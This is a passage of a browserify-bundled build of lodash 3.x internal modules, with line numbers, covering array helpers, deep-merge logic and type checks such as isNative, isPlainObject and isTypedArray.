  360. array || (array = Array(length));
  361. while (++index < length) {
  362. array[index] = source[index];
  363. }
  364. return array;
  365. }
  366. module.exports = arrayCopy;
  367. },{}],9:[function(_dereq_,module,exports){
  368. /**
  369. * A specialized version of `_.forEach` for arrays without support for callback
  370. * shorthands and `this` binding.
  371. *
  372. * @private
  373. * @param {Array} array The array to iterate over.
  374. * @param {Function} iteratee The function invoked per iteration.
  375. * @returns {Array} Returns `array`.
  376. */
  377. function arrayEach(array, iteratee) {
  378. var index = -1,
  379. length = array.length;
  380. while (++index < length) {
  381. if (iteratee(array[index], index, array) === false) {
  382. break;
  383. }
  384. }
  385. return array;
  386. }
  387. module.exports = arrayEach;
  388. },{}],10:[function(_dereq_,module,exports){
  389. /**
  390. * Copies properties of `source` to `object`.
  391. *
  392. * @private
  393. * @param {Object} source The object to copy properties from.
  394. * @param {Array} props The property names to copy.
  395. * @param {Object} [object={}] The object to copy properties to.
  396. * @returns {Object} Returns `object`.
  397. */
  398. function baseCopy(source, props, object) {
  399. object || (object = {});
  400. var index = -1,
  401. length = props.length;
  402. while (++index < length) {
  403. var key = props[index];
  404. object[key] = source[key];
  405. }
  406. return object;
  407. }
  408. module.exports = baseCopy;
  409. },{}],11:[function(_dereq_,module,exports){
  410. var createBaseFor = _dereq_('./createBaseFor');
  411. /**
  412. * The base implementation of `baseForIn` and `baseForOwn` which iterates
  413. * over `object` properties returned by `keysFunc` invoking `iteratee` for
  414. * each property. Iteratee functions may exit iteration early by explicitly
  415. * returning `false`.
  416. *
  417. * @private
  418. * @param {Object} object The object to iterate over.
  419. * @param {Function} iteratee The function invoked per iteration.
  420. * @param {Function} keysFunc The function to get the keys of `object`.
  421. * @returns {Object} Returns `object`.
  422. */
  423. var baseFor = createBaseFor();
  424. module.exports = baseFor;
  425. },{"./createBaseFor":18}],12:[function(_dereq_,module,exports){
  426. var baseFor = _dereq_('./baseFor'),
  427. keysIn = _dereq_('../object/keysIn');
  428. /**
  429. * The base implementation of `_.forIn` without support for callback
  430. * shorthands and `this` binding.
  431. *
  432. * @private
  433. * @param {Object} object The object to iterate over.
  434. * @param {Function} iteratee The function invoked per iteration.
  435. * @returns {Object} Returns `object`.
  436. */
  437. function baseForIn(object, iteratee) {
  438. return baseFor(object, iteratee, keysIn);
  439. }
  440. module.exports = baseForIn;
  441. },{"../object/keysIn":39,"./baseFor":11}],13:[function(_dereq_,module,exports){
  442. var arrayEach = _dereq_('./arrayEach'),
  443. baseMergeDeep = _dereq_('./baseMergeDeep'),
  444. isArray = _dereq_('../lang/isArray'),
  445. isArrayLike = _dereq_('./isArrayLike'),
  446. isObject = _dereq_('../lang/isObject'),
  447. isObjectLike = _dereq_('./isObjectLike'),
  448. isTypedArray = _dereq_('../lang/isTypedArray'),
  449. keys = _dereq_('../object/keys');
  450. /**
  451. * The base implementation of `_.merge` without support for argument juggling,
  452. * multiple sources, and `this` binding `customizer` functions.
  453. *
  454. * @private
  455. * @param {Object} object The destination object.
  456. * @param {Object} source The source object.
  457. * @param {Function} [customizer] The function to customize merged values.
  458. * @param {Array} [stackA=[]] Tracks traversed source objects.
  459. * @param {Array} [stackB=[]] Associates values with source counterparts.
  460. * @returns {Object} Returns `object`.
  461. */
  462. function baseMerge(object, source, customizer, stackA, stackB) {
  463. if (!isObject(object)) {
  464. return object;
  465. }
  466. var isSrcArr = isArrayLike(source) && (isArray(source) || isTypedArray(source)),
  467. props = isSrcArr ? undefined : keys(source);
  468. arrayEach(props || source, function(srcValue, key) {
  469. if (props) {
  470. key = srcValue;
  471. srcValue = source[key];
  472. }
  473. if (isObjectLike(srcValue)) {
  474. stackA || (stackA = []);
  475. stackB || (stackB = []);
  476. baseMergeDeep(object, source, key, baseMerge, customizer, stackA, stackB);
  477. }
  478. else {
  479. var value = object[key],
  480. result = customizer ? customizer(value, srcValue, key, object, source) : undefined,
  481. isCommon = result === undefined;
  482. if (isCommon) {
  483. result = srcValue;
  484. }
  485. if ((result !== undefined || (isSrcArr && !(key in object))) &&
  486. (isCommon || (result === result ? (result !== value) : (value === value)))) {
  487. object[key] = result;
  488. }
  489. }
  490. });
  491. return object;
  492. }
  493. module.exports = baseMerge;
  494. },{"../lang/isArray":30,"../lang/isObject":33,"../lang/isTypedArray":36,"../object/keys":38,"./arrayEach":9,"./baseMergeDeep":14,"./isArrayLike":21,"./isObjectLike":26}],14:[function(_dereq_,module,exports){
  495. var arrayCopy = _dereq_('./arrayCopy'),
  496. isArguments = _dereq_('../lang/isArguments'),
  497. isArray = _dereq_('../lang/isArray'),
  498. isArrayLike = _dereq_('./isArrayLike'),
  499. isPlainObject = _dereq_('../lang/isPlainObject'),
  500. isTypedArray = _dereq_('../lang/isTypedArray'),
  501. toPlainObject = _dereq_('../lang/toPlainObject');
  502. /**
  503. * A specialized version of `baseMerge` for arrays and objects which performs
  504. * deep merges and tracks traversed objects enabling objects with circular
  505. * references to be merged.
  506. *
  507. * @private
  508. * @param {Object} object The destination object.
  509. * @param {Object} source The source object.
  510. * @param {string} key The key of the value to merge.
  511. * @param {Function} mergeFunc The function to merge values.
  512. * @param {Function} [customizer] The function to customize merged values.
  513. * @param {Array} [stackA=[]] Tracks traversed source objects.
  514. * @param {Array} [stackB=[]] Associates values with source counterparts.
  515. * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
  516. */
  517. function baseMergeDeep(object, source, key, mergeFunc, customizer, stackA, stackB) {
  518. var length = stackA.length,
  519. srcValue = source[key];
  520. while (length--) {
  521. if (stackA[length] == srcValue) {
  522. object[key] = stackB[length];
  523. return;
  524. }
  525. }
  526. var value = object[key],
  527. result = customizer ? customizer(value, srcValue, key, object, source) : undefined,
  528. isCommon = result === undefined;
  529. if (isCommon) {
  530. result = srcValue;
  531. if (isArrayLike(srcValue) && (isArray(srcValue) || isTypedArray(srcValue))) {
  532. result = isArray(value)
  533. ? value
  534. : (isArrayLike(value) ? arrayCopy(value) : []);
  535. }
  536. else if (isPlainObject(srcValue) || isArguments(srcValue)) {
  537. result = isArguments(value)
  538. ? toPlainObject(value)
  539. : (isPlainObject(value) ? value : {});
  540. }
  541. else {
  542. isCommon = false;
  543. }
  544. }
  545. // Add the source value to the stack of traversed objects and associate
  546. // it with its merged value.
  547. stackA.push(srcValue);
  548. stackB.push(result);
  549. if (isCommon) {
  550. // Recursively merge objects and arrays (susceptible to call stack limits).
  551. object[key] = mergeFunc(result, srcValue, customizer, stackA, stackB);
  552. } else if (result === result ? (result !== value) : (value === value)) {
  553. object[key] = result;
  554. }
  555. }
  556. module.exports = baseMergeDeep;
  557. },{"../lang/isArguments":29,"../lang/isArray":30,"../lang/isPlainObject":34,"../lang/isTypedArray":36,"../lang/toPlainObject":37,"./arrayCopy":8,"./isArrayLike":21}],15:[function(_dereq_,module,exports){
  558. var toObject = _dereq_('./toObject');
  559. /**
  560. * The base implementation of `_.property` without support for deep paths.
  561. *
  562. * @private
  563. * @param {string} key The key of the property to get.
  564. * @returns {Function} Returns the new function.
  565. */
  566. function baseProperty(key) {
  567. return function(object) {
  568. return object == null ? undefined : toObject(object)[key];
  569. };
  570. }
  571. module.exports = baseProperty;
  572. },{"./toObject":28}],16:[function(_dereq_,module,exports){
  573. var identity = _dereq_('../utility/identity');
  574. /**
  575. * A specialized version of `baseCallback` which only supports `this` binding
  576. * and specifying the number of arguments to provide to `func`.
  577. *
  578. * @private
  579. * @param {Function} func The function to bind.
  580. * @param {*} thisArg The `this` binding of `func`.
  581. * @param {number} [argCount] The number of arguments to provide to `func`.
  582. * @returns {Function} Returns the callback.
  583. */
  584. function bindCallback(func, thisArg, argCount) {
  585. if (typeof func != 'function') {
  586. return identity;
  587. }
  588. if (thisArg === undefined) {
  589. return func;
  590. }
  591. switch (argCount) {
  592. case 1: return function(value) {
  593. return func.call(thisArg, value);
  594. };
  595. case 3: return function(value, index, collection) {
  596. return func.call(thisArg, value, index, collection);
  597. };
  598. case 4: return function(accumulator, value, index, collection) {
  599. return func.call(thisArg, accumulator, value, index, collection);
  600. };
  601. case 5: return function(value, other, key, object, source) {
  602. return func.call(thisArg, value, other, key, object, source);
  603. };
  604. }
  605. return function() {
  606. return func.apply(thisArg, arguments);
  607. };
  608. }
  609. module.exports = bindCallback;
  610. },{"../utility/identity":42}],17:[function(_dereq_,module,exports){
  611. var bindCallback = _dereq_('./bindCallback'),
  612. isIterateeCall = _dereq_('./isIterateeCall'),
  613. restParam = _dereq_('../function/restParam');
  614. /**
  615. * Creates a `_.assign`, `_.defaults`, or `_.merge` function.
  616. *
  617. * @private
  618. * @param {Function} assigner The function to assign values.
  619. * @returns {Function} Returns the new assigner function.
  620. */
  621. function createAssigner(assigner) {
  622. return restParam(function(object, sources) {
  623. var index = -1,
  624. length = object == null ? 0 : sources.length,
  625. customizer = length > 2 ? sources[length - 2] : undefined,
  626. guard = length > 2 ? sources[2] : undefined,
  627. thisArg = length > 1 ? sources[length - 1] : undefined;
  628. if (typeof customizer == 'function') {
  629. customizer = bindCallback(customizer, thisArg, 5);
  630. length -= 2;
  631. } else {
  632. customizer = typeof thisArg == 'function' ? thisArg : undefined;
  633. length -= (customizer ? 1 : 0);
  634. }
  635. if (guard && isIterateeCall(sources[0], sources[1], guard)) {
  636. customizer = length < 3 ? undefined : customizer;
  637. length = 1;
  638. }
  639. while (++index < length) {
  640. var source = sources[index];
  641. if (source) {
  642. assigner(object, source, customizer);
  643. }
  644. }
  645. return object;
  646. });
  647. }
  648. module.exports = createAssigner;
  649. },{"../function/restParam":6,"./bindCallback":16,"./isIterateeCall":24}],18:[function(_dereq_,module,exports){
  650. var toObject = _dereq_('./toObject');
  651. /**
  652. * Creates a base function for `_.forIn` or `_.forInRight`.
  653. *
  654. * @private
  655. * @param {boolean} [fromRight] Specify iterating from right to left.
  656. * @returns {Function} Returns the new base function.
  657. */
  658. function createBaseFor(fromRight) {
  659. return function(object, iteratee, keysFunc) {
  660. var iterable = toObject(object),
  661. props = keysFunc(object),
  662. length = props.length,
  663. index = fromRight ? length : -1;
  664. while ((fromRight ? index-- : ++index < length)) {
  665. var key = props[index];
  666. if (iteratee(iterable[key], key, iterable) === false) {
  667. break;
  668. }
  669. }
  670. return object;
  671. };
  672. }
  673. module.exports = createBaseFor;
  674. },{"./toObject":28}],19:[function(_dereq_,module,exports){
  675. var baseProperty = _dereq_('./baseProperty');
  676. /**
  677. * Gets the "length" property value of `object`.
  678. *
  679. * **Note:** This function is used to avoid a [JIT bug](https://bugs.webkit.org/show_bug.cgi?id=142792)
  680. * that affects Safari on at least iOS 8.1-8.3 ARM64.
  681. *
  682. * @private
  683. * @param {Object} object The object to query.
  684. * @returns {*} Returns the "length" value.
  685. */
  686. var getLength = baseProperty('length');
  687. module.exports = getLength;
  688. },{"./baseProperty":15}],20:[function(_dereq_,module,exports){
  689. var isNative = _dereq_('../lang/isNative');
  690. /**
  691. * Gets the native function at `key` of `object`.
  692. *
  693. * @private
  694. * @param {Object} object The object to query.
  695. * @param {string} key The key of the method to get.
  696. * @returns {*} Returns the function if it's native, else `undefined`.
  697. */
  698. function getNative(object, key) {
  699. var value = object == null ? undefined : object[key];
  700. return isNative(value) ? value : undefined;
  701. }
  702. module.exports = getNative;
  703. },{"../lang/isNative":32}],21:[function(_dereq_,module,exports){
  704. var getLength = _dereq_('./getLength'),
  705. isLength = _dereq_('./isLength');
  706. /**
  707. * Checks if `value` is array-like.
  708. *
  709. * @private
  710. * @param {*} value The value to check.
  711. * @returns {boolean} Returns `true` if `value` is array-like, else `false`.
  712. */
  713. function isArrayLike(value) {
  714. return value != null && isLength(getLength(value));
  715. }
  716. module.exports = isArrayLike;
  717. },{"./getLength":19,"./isLength":25}],22:[function(_dereq_,module,exports){
  718. /**
  719. * Checks if `value` is a host object in IE < 9.
  720. *
  721. * @private
  722. * @param {*} value The value to check.
  723. * @returns {boolean} Returns `true` if `value` is a host object, else `false`.
  724. */
  725. var isHostObject = (function() {
  726. try {
  727. Object({ 'toString': 0 } + '');
  728. } catch(e) {
  729. return function() { return false; };
  730. }
  731. return function(value) {
  732. // IE < 9 presents many host objects as `Object` objects that can coerce
  733. // to strings despite having improperly defined `toString` methods.
  734. return typeof value.toString != 'function' && typeof (value + '') == 'string';
  735. };
  736. }());
  737. module.exports = isHostObject;
  738. },{}],23:[function(_dereq_,module,exports){
  739. /** Used to detect unsigned integer values. */
  740. var reIsUint = /^\d+$/;
  741. /**
  742. * Used as the [maximum length](http://ecma-international.org/ecma-262/6.0/#sec-number.max_safe_integer)
  743. * of an array-like value.
  744. */
  745. var MAX_SAFE_INTEGER = 9007199254740991;
  746. /**
  747. * Checks if `value` is a valid array-like index.
  748. *
  749. * @private
  750. * @param {*} value The value to check.
  751. * @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index.
  752. * @returns {boolean} Returns `true` if `value` is a valid index, else `false`.
  753. */
  754. function isIndex(value, length) {
  755. value = (typeof value == 'number' || reIsUint.test(value)) ? +value : -1;
  756. length = length == null ? MAX_SAFE_INTEGER : length;
  757. return value > -1 && value % 1 == 0 && value < length;
  758. }
  759. module.exports = isIndex;
  760. },{}],24:[function(_dereq_,module,exports){
  761. var isArrayLike = _dereq_('./isArrayLike'),
  762. isIndex = _dereq_('./isIndex'),
  763. isObject = _dereq_('../lang/isObject');
  764. /**
  765. * Checks if the provided arguments are from an iteratee call.
  766. *
  767. * @private
  768. * @param {*} value The potential iteratee value argument.
  769. * @param {*} index The potential iteratee index or key argument.
  770. * @param {*} object The potential iteratee object argument.
  771. * @returns {boolean} Returns `true` if the arguments are from an iteratee call, else `false`.
  772. */
  773. function isIterateeCall(value, index, object) {
  774. if (!isObject(object)) {
  775. return false;
  776. }
  777. var type = typeof index;
  778. if (type == 'number'
  779. ? (isArrayLike(object) && isIndex(index, object.length))
  780. : (type == 'string' && index in object)) {
  781. var other = object[index];
  782. return value === value ? (value === other) : (other !== other);
  783. }
  784. return false;
  785. }
  786. module.exports = isIterateeCall;
  787. },{"../lang/isObject":33,"./isArrayLike":21,"./isIndex":23}],25:[function(_dereq_,module,exports){
  788. /**
  789. * Used as the [maximum length](http://ecma-international.org/ecma-262/6.0/#sec-number.max_safe_integer)
  790. * of an array-like value.
  791. */
  792. var MAX_SAFE_INTEGER = 9007199254740991;
  793. /**
  794. * Checks if `value` is a valid array-like length.
  795. *
  796. * **Note:** This function is based on [`ToLength`](http://ecma-international.org/ecma-262/6.0/#sec-tolength).
  797. *
  798. * @private
  799. * @param {*} value The value to check.
  800. * @returns {boolean} Returns `true` if `value` is a valid length, else `false`.
  801. */
  802. function isLength(value) {
  803. return typeof value == 'number' && value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;
  804. }
  805. module.exports = isLength;
  806. },{}],26:[function(_dereq_,module,exports){
  807. /**
  808. * Checks if `value` is object-like.
  809. *
  810. * @private
  811. * @param {*} value The value to check.
  812. * @returns {boolean} Returns `true` if `value` is object-like, else `false`.
  813. */
  814. function isObjectLike(value) {
  815. return !!value && typeof value == 'object';
  816. }
  817. module.exports = isObjectLike;
  818. },{}],27:[function(_dereq_,module,exports){
  819. var isArguments = _dereq_('../lang/isArguments'),
  820. isArray = _dereq_('../lang/isArray'),
  821. isIndex = _dereq_('./isIndex'),
  822. isLength = _dereq_('./isLength'),
  823. isString = _dereq_('../lang/isString'),
  824. keysIn = _dereq_('../object/keysIn');
  825. /** Used for native method references. */
  826. var objectProto = Object.prototype;
  827. /** Used to check objects for own properties. */
  828. var hasOwnProperty = objectProto.hasOwnProperty;
  829. /**
  830. * A fallback implementation of `Object.keys` which creates an array of the
  831. * own enumerable property names of `object`.
  832. *
  833. * @private
  834. * @param {Object} object The object to query.
  835. * @returns {Array} Returns the array of property names.
  836. */
  837. function shimKeys(object) {
  838. var props = keysIn(object),
  839. propsLength = props.length,
  840. length = propsLength && object.length;
  841. var allowIndexes = !!length && isLength(length) &&
  842. (isArray(object) || isArguments(object) || isString(object));
  843. var index = -1,
  844. result = [];
  845. while (++index < propsLength) {
  846. var key = props[index];
  847. if ((allowIndexes && isIndex(key, length)) || hasOwnProperty.call(object, key)) {
  848. result.push(key);
  849. }
  850. }
  851. return result;
  852. }
  853. module.exports = shimKeys;
  854. },{"../lang/isArguments":29,"../lang/isArray":30,"../lang/isString":35,"../object/keysIn":39,"./isIndex":23,"./isLength":25}],28:[function(_dereq_,module,exports){
  855. var isObject = _dereq_('../lang/isObject'),
  856. isString = _dereq_('../lang/isString'),
  857. support = _dereq_('../support');
  858. /**
  859. * Converts `value` to an object if it's not one.
  860. *
  861. * @private
  862. * @param {*} value The value to process.
  863. * @returns {Object} Returns the object.
  864. */
  865. function toObject(value) {
  866. if (support.unindexedChars && isString(value)) {
  867. var index = -1,
  868. length = value.length,
  869. result = Object(value);
  870. while (++index < length) {
  871. result[index] = value.charAt(index);
  872. }
  873. return result;
  874. }
  875. return isObject(value) ? value : Object(value);
  876. }
  877. module.exports = toObject;
  878. },{"../lang/isObject":33,"../lang/isString":35,"../support":41}],29:[function(_dereq_,module,exports){
  879. var isArrayLike = _dereq_('../internal/isArrayLike'),
  880. isObjectLike = _dereq_('../internal/isObjectLike');
  881. /** Used for native method references. */
  882. var objectProto = Object.prototype;
  883. /** Used to check objects for own properties. */
  884. var hasOwnProperty = objectProto.hasOwnProperty;
  885. /** Native method references. */
  886. var propertyIsEnumerable = objectProto.propertyIsEnumerable;
  887. /**
  888. * Checks if `value` is classified as an `arguments` object.
  889. *
  890. * @static
  891. * @memberOf _
  892. * @category Lang
  893. * @param {*} value The value to check.
  894. * @returns {boolean} Returns `true` if `value` is correctly classified, else `false`.
  895. * @example
  896. *
  897. * _.isArguments(function() { return arguments; }());
  898. * // => true
  899. *
  900. * _.isArguments([1, 2, 3]);
  901. * // => false
  902. */
  903. function isArguments(value) {
  904. return isObjectLike(value) && isArrayLike(value) &&
  905. hasOwnProperty.call(value, 'callee') && !propertyIsEnumerable.call(value, 'callee');
  906. }
  907. module.exports = isArguments;
  908. },{"../internal/isArrayLike":21,"../internal/isObjectLike":26}],30:[function(_dereq_,module,exports){
  909. var getNative = _dereq_('../internal/getNative'),
  910. isLength = _dereq_('../internal/isLength'),
  911. isObjectLike = _dereq_('../internal/isObjectLike');
  912. /** `Object#toString` result references. */
  913. var arrayTag = '[object Array]';
  914. /** Used for native method references. */
  915. var objectProto = Object.prototype;
  916. /**
  917. * Used to resolve the [`toStringTag`](http://ecma-international.org/ecma-262/6.0/#sec-object.prototype.tostring)
  918. * of values.
  919. */
  920. var objToString = objectProto.toString;
  921. /* Native method references for those with the same name as other `lodash` methods. */
  922. var nativeIsArray = getNative(Array, 'isArray');
  923. /**
  924. * Checks if `value` is classified as an `Array` object.
  925. *
  926. * @static
  927. * @memberOf _
  928. * @category Lang
  929. * @param {*} value The value to check.
  930. * @returns {boolean} Returns `true` if `value` is correctly classified, else `false`.
  931. * @example
  932. *
  933. * _.isArray([1, 2, 3]);
  934. * // => true
  935. *
  936. * _.isArray(function() { return arguments; }());
  937. * // => false
  938. */
  939. var isArray = nativeIsArray || function(value) {
  940. return isObjectLike(value) && isLength(value.length) && objToString.call(value) == arrayTag;
  941. };
  942. module.exports = isArray;
  943. },{"../internal/getNative":20,"../internal/isLength":25,"../internal/isObjectLike":26}],31:[function(_dereq_,module,exports){
  944. var isObject = _dereq_('./isObject');
  945. /** `Object#toString` result references. */
  946. var funcTag = '[object Function]';
  947. /** Used for native method references. */
  948. var objectProto = Object.prototype;
  949. /**
  950. * Used to resolve the [`toStringTag`](http://ecma-international.org/ecma-262/6.0/#sec-object.prototype.tostring)
  951. * of values.
  952. */
  953. var objToString = objectProto.toString;
  954. /**
  955. * Checks if `value` is classified as a `Function` object.
  956. *
  957. * @static
  958. * @memberOf _
  959. * @category Lang
  960. * @param {*} value The value to check.
  961. * @returns {boolean} Returns `true` if `value` is correctly classified, else `false`.
  962. * @example
  963. *
  964. * _.isFunction(_);
  965. * // => true
  966. *
  967. * _.isFunction(/abc/);
  968. * // => false
  969. */
  970. function isFunction(value) {
  971. // The use of `Object#toString` avoids issues with the `typeof` operator
  972. // in older versions of Chrome and Safari which return 'function' for regexes
  973. // and Safari 8 which returns 'object' for typed array constructors.
  974. return isObject(value) && objToString.call(value) == funcTag;
  975. }
  976. module.exports = isFunction;
  977. },{"./isObject":33}],32:[function(_dereq_,module,exports){
  978. var isFunction = _dereq_('./isFunction'),
  979. isHostObject = _dereq_('../internal/isHostObject'),
  980. isObjectLike = _dereq_('../internal/isObjectLike');
  981. /** Used to detect host constructors (Safari > 5). */
  982. var reIsHostCtor = /^\[object .+?Constructor\]$/;
  983. /** Used for native method references. */
  984. var objectProto = Object.prototype;
  985. /** Used to resolve the decompiled source of functions. */
  986. var fnToString = Function.prototype.toString;
  987. /** Used to check objects for own properties. */
  988. var hasOwnProperty = objectProto.hasOwnProperty;
  989. /** Used to detect if a method is native. */
  990. var reIsNative = RegExp('^' +
  991. fnToString.call(hasOwnProperty).replace(/[\\^$.*+?()[\]{}|]/g, '\\$&')
  992. .replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$'
  993. );
  994. /**
  995. * Checks if `value` is a native function.
  996. *
  997. * @static
  998. * @memberOf _
  999. * @category Lang
  1000. * @param {*} value The value to check.
  1001. * @returns {boolean} Returns `true` if `value` is a native function, else `false`.
  1002. * @example
  1003. *
  1004. * _.isNative(Array.prototype.push);
  1005. * // => true
  1006. *
  1007. * _.isNative(_);
  1008. * // => false
  1009. */
  1010. function isNative(value) {
  1011. if (value == null) {
  1012. return false;
  1013. }
  1014. if (isFunction(value)) {
  1015. return reIsNative.test(fnToString.call(value));
  1016. }
  1017. return isObjectLike(value) && (isHostObject(value) ? reIsNative : reIsHostCtor).test(value);
  1018. }
  1019. module.exports = isNative;
  1020. },{"../internal/isHostObject":22,"../internal/isObjectLike":26,"./isFunction":31}],33:[function(_dereq_,module,exports){
  1021. /**
  1022. * Checks if `value` is the [language type](https://es5.github.io/#x8) of `Object`.
  1023. * (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
  1024. *
  1025. * @static
  1026. * @memberOf _
  1027. * @category Lang
  1028. * @param {*} value The value to check.
  1029. * @returns {boolean} Returns `true` if `value` is an object, else `false`.
  1030. * @example
  1031. *
  1032. * _.isObject({});
  1033. * // => true
  1034. *
  1035. * _.isObject([1, 2, 3]);
  1036. * // => true
  1037. *
  1038. * _.isObject(1);
  1039. * // => false
  1040. */
  1041. function isObject(value) {
  1042. // Avoid a V8 JIT bug in Chrome 19-20.
  1043. // See https://code.google.com/p/v8/issues/detail?id=2291 for more details.
  1044. var type = typeof value;
  1045. return !!value && (type == 'object' || type == 'function');
  1046. }
  1047. module.exports = isObject;
  1048. },{}],34:[function(_dereq_,module,exports){
  1049. var baseForIn = _dereq_('../internal/baseForIn'),
  1050. isArguments = _dereq_('./isArguments'),
  1051. isHostObject = _dereq_('../internal/isHostObject'),
  1052. isObjectLike = _dereq_('../internal/isObjectLike'),
  1053. support = _dereq_('../support');
  1054. /** `Object#toString` result references. */
  1055. var objectTag = '[object Object]';
  1056. /** Used for native method references. */
  1057. var objectProto = Object.prototype;
  1058. /** Used to check objects for own properties. */
  1059. var hasOwnProperty = objectProto.hasOwnProperty;
  1060. /**
  1061. * Used to resolve the [`toStringTag`](http://ecma-international.org/ecma-262/6.0/#sec-object.prototype.tostring)
  1062. * of values.
  1063. */
  1064. var objToString = objectProto.toString;
  1065. /**
  1066. * Checks if `value` is a plain object, that is, an object created by the
  1067. * `Object` constructor or one with a `[[Prototype]]` of `null`.
  1068. *
  1069. * **Note:** This method assumes objects created by the `Object` constructor
  1070. * have no inherited enumerable properties.
  1071. *
  1072. * @static
  1073. * @memberOf _
  1074. * @category Lang
  1075. * @param {*} value The value to check.
  1076. * @returns {boolean} Returns `true` if `value` is a plain object, else `false`.
  1077. * @example
  1078. *
  1079. * function Foo() {
  1080. * this.a = 1;
  1081. * }
  1082. *
  1083. * _.isPlainObject(new Foo);
  1084. * // => false
  1085. *
  1086. * _.isPlainObject([1, 2, 3]);
  1087. * // => false
  1088. *
  1089. * _.isPlainObject({ 'x': 0, 'y': 0 });
  1090. * // => true
  1091. *
  1092. * _.isPlainObject(Object.create(null));
  1093. * // => true
  1094. */
  1095. function isPlainObject(value) {
  1096. var Ctor;
  1097. // Exit early for non `Object` objects.
  1098. if (!(isObjectLike(value) && objToString.call(value) == objectTag && !isHostObject(value) && !isArguments(value)) ||
  1099. (!hasOwnProperty.call(value, 'constructor') && (Ctor = value.constructor, typeof Ctor == 'function' && !(Ctor instanceof Ctor)))) {
  1100. return false;
  1101. }
  1102. // IE < 9 iterates inherited properties before own properties. If the first
  1103. // iterated property is an object's own property then there are no inherited
  1104. // enumerable properties.
  1105. var result;
  1106. if (support.ownLast) {
  1107. baseForIn(value, function(subValue, key, object) {
  1108. result = hasOwnProperty.call(object, key);
  1109. return false;
  1110. });
  1111. return result !== false;
  1112. }
  1113. // In most environments an object's own properties are iterated before
  1114. // its inherited properties. If the last iterated property is an object's
  1115. // own property then there are no inherited enumerable properties.
  1116. baseForIn(value, function(subValue, key) {
  1117. result = key;
  1118. });
  1119. return result === undefined || hasOwnProperty.call(value, result);
  1120. }
  1121. module.exports = isPlainObject;
  1122. },{"../internal/baseForIn":12,"../internal/isHostObject":22,"../internal/isObjectLike":26,"../support":41,"./isArguments":29}],35:[function(_dereq_,module,exports){
  1123. var isObjectLike = _dereq_('../internal/isObjectLike');
  1124. /** `Object#toString` result references. */
  1125. var stringTag = '[object String]';
  1126. /** Used for native method references. */
  1127. var objectProto = Object.prototype;
  1128. /**
  1129. * Used to resolve the [`toStringTag`](http://ecma-international.org/ecma-262/6.0/#sec-object.prototype.tostring)
  1130. * of values.
  1131. */
  1132. var objToString = objectProto.toString;
  1133. /**
  1134. * Checks if `value` is classified as a `String` primitive or object.
  1135. *
  1136. * @static
  1137. * @memberOf _
  1138. * @category Lang
  1139. * @param {*} value The value to check.
  1140. * @returns {boolean} Returns `true` if `value` is correctly classified, else `false`.
  1141. * @example
  1142. *
  1143. * _.isString('abc');
  1144. * // => true
  1145. *
  1146. * _.isString(1);
  1147. * // => false
  1148. */
  1149. function isString(value) {
  1150. return typeof value == 'string' || (isObjectLike(value) && objToString.call(value) == stringTag);
  1151. }
  1152. module.exports = isString;
  1153. },{"../internal/isObjectLike":26}],36:[function(_dereq_,module,exports){
  1154. var isLength = _dereq_('../internal/isLength'),
  1155. isObjectLike = _dereq_('../internal/isObjectLike');
  1156. /** `Object#toString` result references. */
  1157. var argsTag = '[object Arguments]',
  1158. arrayTag = '[object Array]',
  1159. boolTag = '[object Boolean]',
  1160. dateTag = '[object Date]',
  1161. errorTag = '[object Error]',
  1162. funcTag = '[object Function]',
  1163. mapTag = '[object Map]',
  1164. numberTag = '[object Number]',
  1165. objectTag = '[object Object]',
  1166. regexpTag = '[object RegExp]',
  1167. setTag = '[object Set]',
  1168. stringTag = '[object String]',
  1169. weakMapTag = '[object WeakMap]';
  1170. var arrayBufferTag = '[object ArrayBuffer]',
  1171. float32Tag = '[object Float32Array]',
  1172. float64Tag = '[object Float64Array]',
  1173. int8Tag = '[object Int8Array]',
  1174. int16Tag = '[object Int16Array]',
  1175. int32Tag = '[object Int32Array]',
  1176. uint8Tag = '[object Uint8Array]',
  1177. uint8ClampedTag = '[object Uint8ClampedArray]',
  1178. uint16Tag = '[object Uint16Array]',
  1179. uint32Tag = '[object Uint32Array]';
  1180. /** Used to identify `toStringTag` values of typed arrays. */
  1181. var typedArrayTags = {};
  1182. typedArrayTags[float32Tag] = typedArrayTags[float64Tag] =
  1183. typedArrayTags[int8Tag] = typedArrayTags[int16Tag] =
  1184. typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] =
  1185. typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] =
  1186. typedArrayTags[uint32Tag] = true;
  1187. typedArrayTags[argsTag] = typedArrayTags[arrayTag] =
  1188. typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] =
  1189. typedArrayTags[dateTag] = typedArrayTags[errorTag] =
  1190. typedArrayTags[funcTag] = typedArrayTags[mapTag] =
  1191. typedArrayTags[numberTag] = typedArrayTags[objectTag] =
  1192. typedArrayTags[regexpTag] = typedArrayTags[setTag] =
  1193. typedArrayTags[stringTag] = typedArrayTags[weakMapTag] = false;
  1194. /** Used for native method references. */
  1195. var objectProto = Object.prototype;
  1196. /**
  1197. * Used to resolve the [`toStringTag`](http://ecma-international.org/ecma-262/6.0/#sec-object.prototype.tostring)
  1198. * of values.
  1199. */
  1200. var objToString = objectProto.toString;
  1201. /**
  1202. * Checks if `value` is classified as a typed array.
  1203. *
  1204. * @static
  1205. * @memberOf _
  1206. * @category Lang
  1207. * @param {*} value The value to check.
  1208. * @returns {boolean} Returns `true` if `value` is correctly classified, else `false`.
  1209. * @example
  1210. *
  1211. * _.isTypedArray(new Uint8Array);
  1212. * // => true
  1213. *
  1214. * _.isTypedArray([]);
  1215. * // => false
  1216. */
  1217. function isTypedArray(value) {
  1218. return isObjectLike(value) && isLength(value.length) && !!typedArrayTags[objToString.call(value)];
  1219. }
  1220. module.exports = isTypedArray;
  1221. },{"../internal/isLength":25,"../internal/isObjectLike":26}],37:[function(_dereq_,module,exports){
  1222. var baseCopy = _dereq_('../internal/baseCopy'),
  1223. keysIn = _dereq_('../object/keysIn');
  1224. /**
  1225. * Converts `value` to a plain object flattening inherited enumerable
  1226. * properties of `value` to own properties of the plain object.
  1227. *
  1228. * @static
  1229. * @memberOf _
  1230. * @category Lang
  1231. * @param {*} value The value to convert.
  1232. * @returns {Object} Returns the converted plain object.
  1233. * @example
  1234. *
